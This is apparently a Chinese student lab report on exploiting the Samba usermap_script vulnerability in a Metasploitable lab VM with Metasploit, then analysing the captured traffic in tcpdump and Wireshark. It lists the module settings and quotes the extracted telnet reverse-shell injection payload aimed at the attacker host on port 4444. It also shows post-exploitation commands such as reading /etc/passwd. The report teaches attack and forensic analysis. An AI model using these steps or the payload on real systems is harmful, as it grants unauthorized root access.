20253920 2025-2026-2 《网络攻防实践》第7次作业
20253920 2025-2026-2 《网络攻防实践》第7次作业
1.实践内容
本次实践以 Linux 环境下的 Samba 漏洞渗透与攻防流量分析为主题,在 Kali 攻击机与 Metasploitable 靶机环境下完成完整的漏洞利用与数据包分析过程,相关知识点与实验操作结合如下:
-
Samba 服务与漏洞原理
Samba 是 Linux 系统中实现 SMB/CIFS 协议的开源共享服务,主要用于跨平台文件和打印共享,默认使用 445 端口。本次实验利用的 CVE-2007-2447(usermap_script)是该服务中的高危远程命令注入漏洞,由于对用户名字段未做安全过滤,攻击者可构造恶意内容让服务器以 root 权限执行系统命令。实验中先通过 nmap 扫描靶机开放端口与服务版本,确认目标存在该漏洞,为后续渗透提供依据。
-
Metasploit 渗透与反弹 Shell 利用
反弹 Shell 是指由靶机主动连接攻击机以建立控制通道的技术,可有效绕过防火墙限制。实验中在 Kali 内启动 Metasploit 框架,加载
exploit/multi/samba/usermap_script模块,配置靶机 IP、攻击机监听地址与端口,使用反弹 Shell 作为攻击载荷。执行渗透后成功获取靶机控制权,并通过whoami、ifconfig等命令验证已获得 root 权限。 -
流量捕获与数据包抓取
tcpdump 是一款常用的命令行抓包工具,可对指定网卡、IP 及端口的流量进行捕获并保存为文件。在发起攻击前,使用 tcpdump 对攻击机与靶机之间 445 端口和 4444 端口的流量进行抓取,将攻击全过程的数据包保存为 pcap 文件,为后续分析提供原始数据。
-
Wireshark 流量分析与攻击溯源
Wireshark 是图形化流量分析工具,可对捕获的数据包进行协议解析、数据流追踪与内容提取。本次实验通过 Wireshark 打开抓包文件,先过滤 SMB 流量查看漏洞利用过程,观察恶意请求与靶机返回的登录失败响应;再过滤 4444 端口流量并追踪 TCP 流,还原反弹 Shell 建立、命令发送与结果返回的全过程,最终完成对攻击行为的识别、取证与溯源。
2.实践过程
2.1使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
首先输入msfconsole进入Metasploit界面

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
输入use exploit/multi/samba/usermap_script进行渗透攻击,输入show payloads查看漏洞载荷

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
输入命令行set payload cmd/unix/reverse设置双向连接载荷,show options查看相关配置信息

④设置渗透攻击参数(RHOST,LHOST,TARGET等);
首先,ifconfig查看靶机IP地址,并将靶机IP和攻击机IP分别填入配置信息,命令行如下:set RHOST 192.168.200.4 set LHOST 192.168.200.3


show options检验配置信息

⑤执行渗透攻击;
输入run执行渗透攻击,由下图可以得出Command shell session 1 opened:成功建立了 1 个命令行 Shell 会话,攻击机(192.168.200.2:4444)与靶机(192.168.200.4:46766)完成反向 TCP 连接。已经获得了交互式命令行权限

⑥查看是否正确得到远程Shell,并查看获得的权限。
ifconfig可以得到靶机的IP地址, whoami可以查询当前的用户权限为root,攻击成功

2.2实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
以下是我本次实验的环境配置:
| 虚拟机 | IP地址 |
|---|---|
| 攻击方(Kali) | 192.168.200.2 |
| 防守方(metasploitable ubuntu) | 192.168.200.4 |
对于防守方,我使用 tcpdump监听获得网络攻击的数据包文件,并用wireshark分析攻击过程
2.2.1攻击方
利用nmap -sV 192.168.200.4 扫描出靶机开放服务, 由下图得到的结果可以看出Samba(139/445 端口)存在usermap_script命令注入漏洞,FTP(21)、SSH(22)、HTTP(80)、MySQL(3306)等其他服务也可作为备选攻击点。
接下来我将以Samba usermap_script 漏洞为例,完成本次实验

首先msfconsole启动Metasploit

use exploit/multi/samba/usermap_script加载漏洞模块;show options查看配置参数

设置参数:
靶机IP set RHOSTS 192.168.200.4
Samba服务端口 set RPORT 445
攻击机监听IPset LHOST 192.168.200.2
攻击机监听端口 set LPORT 4444
反向Shell载荷set PAYLOAD cmd/unix/reverse

show options检验参数是否设置成功

run发起攻击
输入whoami ifconfig来验证是否攻击成功,由下图可知:已经得到root权限交互式shell,攻击成功

进行后渗透测试:(为了让防守方抓包时能看到命令传输)
输入cat /etc/issue uname -a查看系统信息;输入cat /etc/passwd查看用户列表;

输入netstat -antp查看网络连接

2.2.2防守方
首先进入kali的root模式,输入apt update && apt install tcpdump -y来安装tcpdump

输入tcpdump -i eth0 host 192.168.200.4 and port 445 or port 4444 -w attack.pcap开始抓包,并将其保存为attack.pcap

攻击完成后,按ctrl c结束抓包

输入ls -l attack.pcap确认文件是否成功生成,由下图可知:抓包成功,tcpdump` 成功监听eth0网卡,捕获了 63 个数据包,没有内核丢包;attack.pcap文件大小为 11055 字节

为了防止wireshark在root下打不开的情况,输入mv attack.pcap /home/kali/ 将文件移动到kali用户目录;输入 chown kali:kali /home/kali/attack.pcap 修改所有者为kali用户

打开一个新的kali界面,输入wireshark attack.pcap打开抓包软件
2.2.2.1SMB 漏洞利用阶段(端口 445)
输入smb进行过滤

对8号数据包进行右键 → Follow → TCP Stream来分析:
SMB TCP 流中可提取到命令注入 Payload:nohup sh -c '(sleep 3781|telnet 192.168.200.2 4444|while : ; do sh && break; done 2>&1|telnet 192.168.200.2 4444 >/dev/null 2>&1 &)'该 Payload 利用 Samba usermap_script 漏洞,在靶机上执行反向 Shell 命令,使靶机延迟3781秒后,主动连接攻击机 192.168.200.2:4444,从而获得交互式 root 权限,把所有输出重定向到攻击机,实现远程控制

对17号数据包进行右键 → Follow → TCP Stream来分析:
17 号数据包为靶机返回的STATUS_LOGON_FAILURE登录失败响应,这是攻击过程中的正常现象:本次攻击并非为了完成 SMB 身份验证,而是通过恶意用户名触发usermap_script命令注入漏洞,因此登录流程会失败,但注入的反向 Shell 命令已在后台执行,靶机正主动向攻击机192.168.200.2:4444发起连接。

2.2.2.2反向 Shell 控制阶段(端口 4444)
过滤 tcp.port == 4444,找到反向 Shell 的 TCP 流
(注意:SYN/ACK 包:是 TCP 三次握手的包,没有实际数据;PSH,ACK 包:是真正传输 Shell 命令和结果的包,追踪这些流就能看到执行的 whoami、ifconfig 等命令。)

因此,我选中16号包对其进行进行右键 → Follow → TCP Stream来分析:
根据下图可知:蓝色行是攻击机发送的命令,红色行是靶机的响应
攻击机发送命令echo x3vgv4XdwBU5PuJ3;用于验证通道连通性的测试命令;靶机响应 ifconfig 之后的网卡信息
root 是 whoami 的输出
Ubuntu 8.04 \n \l是cat /etc/issue的输出
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux是uname -a 的输出
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh ...是cat /etc/passwd 的输出


3.学习中遇到的问题及解决
问题1:靶机 IP 发生变化,导致渗透攻击和抓包过滤失败。
原因:虚拟机 DHCP 分配 IP 变动,之前配置的 RHOSTS 和抓包过滤规则与当前靶机 IP 不匹配。
解决:重新用 nmap 扫描网段或在靶机执行 ifconfig 获取最新 IP,更新 Metasploit 中 RHOSTS 参数和 tcpdump 过滤规则,确保 IP 一致后再发起攻击。
问题2:Wireshark 启动时提示 could not connect to display 图形界面错误。
原因:sudo 运行 Wireshark 时,root 用户无法访问当前桌面显示环境。
解决:将文件移动至 /home/kali 目录,执行 chown kali:kali attack.pcap 修改所有者,或直接用 root 权限启动 Wireshark 打开文件。
问题3:SMB TCP 流中存在大量乱码,无法清晰识别 Payload。
原因:SMB 为二进制协议,协议头为不可读二进制数据,仅注入的命令为 ASCII 明文。
解决:忽略乱码部分,直接提取 nohup sh -c 开头的明文 Payload,或通过 tcpdump -r attack.pcap -A 命令行查看 ASCII 内容。
4.学习感想和体会
通过本次实践,我对 Linux 系统漏洞渗透与网络流量分析有了更直观的理解:
一方面,我深刻认识到未及时修补的服务漏洞危害极大——Samba usermap_script 漏洞无需前置权限,即可一键获取 root 权限,这让我意识到系统安全加固、版本更新的重要性;同时也体会到实验环境中 IP 变动等细节问题会直接影响攻击成败,严谨的环境检查是渗透测试的基础。
另一方面,作为防守方,我学会了用 tcpdump 和 Wireshark 还原攻击全过程:从 SMB 漏洞利用的 Payload 注入,到反向 Shell 的命令交互,每一步都能在流量中找到痕迹,这让我明白网络流量分析是入侵检测与溯源的核心手段,即使攻击成功,也能通过流量日志完成事后追溯。
同时,我也体会到攻防对抗的本质:攻击方利用漏洞突破防线,防守方通过流量监控与分析发现并追溯攻击,二者的博弈推动了安全技术的进步。
这次实践不仅提升了我使用 Metasploit、Wireshark 等工具的实操能力,更让我建立了 “攻防一体” 的安全思维,为后续深入学习网络攻防奠定了基础。

浙公网安备 33010602011771号